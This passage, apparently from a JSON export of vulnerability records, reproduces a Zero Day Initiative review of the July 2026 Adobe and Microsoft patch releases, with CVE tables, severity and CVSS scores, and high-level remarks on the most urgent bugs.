No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:05:02.010900Z"}, {"uuid": "b0641ab5-aee0-4c9a-a02a-6fe63fa553f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54991", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft 